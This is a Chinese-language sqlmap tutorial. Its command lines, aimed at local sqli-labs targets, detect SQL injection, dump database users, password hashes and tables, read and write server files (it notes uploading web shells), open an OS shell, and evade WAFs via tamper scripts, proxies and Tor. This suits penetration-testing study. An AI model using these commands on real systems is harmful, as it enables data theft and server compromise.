Sqlmap使用手册
Sqlmap
sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等
Sqlmap采用了以下5种独特的SQL注入技术
- 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
- 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
- 联合查询注入,在可以使用Union的情况下注入
- 堆查询注入,可以同时执行多条语句时的注入
Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!
我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap -h
Sqlmap的简单方法
从文本中获取目标
参数 -m
提供url列表文件,sqlmap将逐一扫描每个URL。
比如url.txt如下
www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
我们可以批量扫描文件里的所有url:
python sqlmap.py -m url.txt
设置显示信息的详细度:
使用-v
参数,共有七
个等级:sqlmap默认三级
0. 只显示python错误以及严重的信息。 1. 同时显示基本信息和警告信息。(默认) 2. 同时显示debug信息。 3. 同时显示注入的payload。 4. 同时显示HTTP请求。 5. 同时显示HTTP响应头。 6. 同时显示HTTP响应页面。
sqlmap -r http.txt #http.txt是我们抓取的http的请求包 sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色,仅适用于oracle数据库的时候 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd #执行--os-shell命令,获取目标服务器权限 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL,
SAP MaxDB, SQLite, Sybase sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="127.0.0.1:8080" #指定代理 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。 支持的探测方式如下: B: Boolean-based blind SQL injection(布尔型注入) E: Error-based SQL injection(报错型注入) U: UNION query SQL injection(可联合查询注入) S: Stacked queries SQL injection(可多语句查询注入) T: Time-based blind SQL injection(基于时间延迟注入) -v3 #输出详细度 最大值5 会显示请求包和回复包 --threads 5 #指定线程数 --fresh-queries #清除缓存 --flush-session #刷新session --batch #对所有的交互式的都是默认的 --random-agent #任意的http头 --tamper base64encode #对提交的数据进行base64编码 --referer http://www.baidu.com #伪造referer字段 --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数
探测指定URL是否存在SQL注入漏洞
对于不用登录的网站,直接指定其URL
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。
比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。
第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。
第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。
最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。
这次探测的所有数据都被保存在了 /root/.sqlmap/output/10.15.102.48/ 目录下
对于需要登录的网站,我们需要指定其cookie 。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --cookie="抓取的cookie" #探测该url是否存在漏洞
对于是post提交数据的URL,我们需要指定其data参数
sqlmap -u "http://127.0.0.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。
我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞
POST /sqli-labs/Less-11/ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 38 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/sqli-labs/Less-11/ Cookie: Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1632665450 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 uname=admin&passwd=admin&submit=Submit
然后我们可以指定这个数据包进行探测
sqlmap -r D:\post.txt #探测post.txt文件中的http数据包是否存在sql注入漏洞
查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
查看数据库所有用户名的密码
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破
查看数据库当前用户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
判断当前用户是否有管理权限
查看当前账户是否为数据库管理员账户
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
列出数据库管理员角色
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色
查看所有的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
查看当前的数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
爆出指定数据库中的所有的表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
爆出指定数据库指定表中的所有的列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
爆出指定数据库指定表指定列下的数据
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据
爆出该网站数据库中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all #爆出数据库security中的所有数据 sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all #爆出该数据库中的所有数据
获取数据库版本
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -b
查看数据库的权限
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -privileges
Sqlmap高级用法
Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。
探测指定URL是否存在WAF,并且绕过
--identify-waf 检测是否有WAF
#使用参数进行绕过
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入
指定脚本进行绕过
有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)
sqlmap --tamper=space2comment.py #用/**/代替空格 sqlmap --tamper="space2comment.py,space2plus.py" 指定多个脚本进行过滤
过滤脚本在目录:/sqlmap/tamper
探测等级和危险等级
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3
sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
执行指定的SQL语句
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号
执行操作系统命令
在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令
- 网站必须是root权限
- 攻击者需要知道网站的绝对路径
- GPC为off,php主动转义的功能关闭
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令
如果我们不知道网站的根目录的绝对路径的话,我们那里选择4 brute force search 暴力破解,尝试破解出根目录的绝对路径
从数据库中读取文件
当数据库为Mysql、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-read "D:/test.txt" #读取目标服务器D盘下的test.txt文件
可以看到,文件读取成功了,并且保存成了 /root/.sqlmap/output/10.15.102.148/files/c__test.txt 文件
上传文件到数据库服务器中
当数据库为Mysql、Postgre SQL或者Sql Server,并且当前用户有权限使用特定的函数时,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
sqlmap -u "http://127.0.0.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "/root/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
sqlmap的其他用法
除了上面这些用法外,Sqlmap还支持其他的用法,比如定义代理,探测的时候任意的User-Agent头部啊,当我们知道目标数据库类型的时候,直接指定其数据库类型,这样就不会测试其他类型的数据库了
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms=mysql #指定其数据库为mysql sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破 sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy=PROXY #使用代理进行爆破 -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测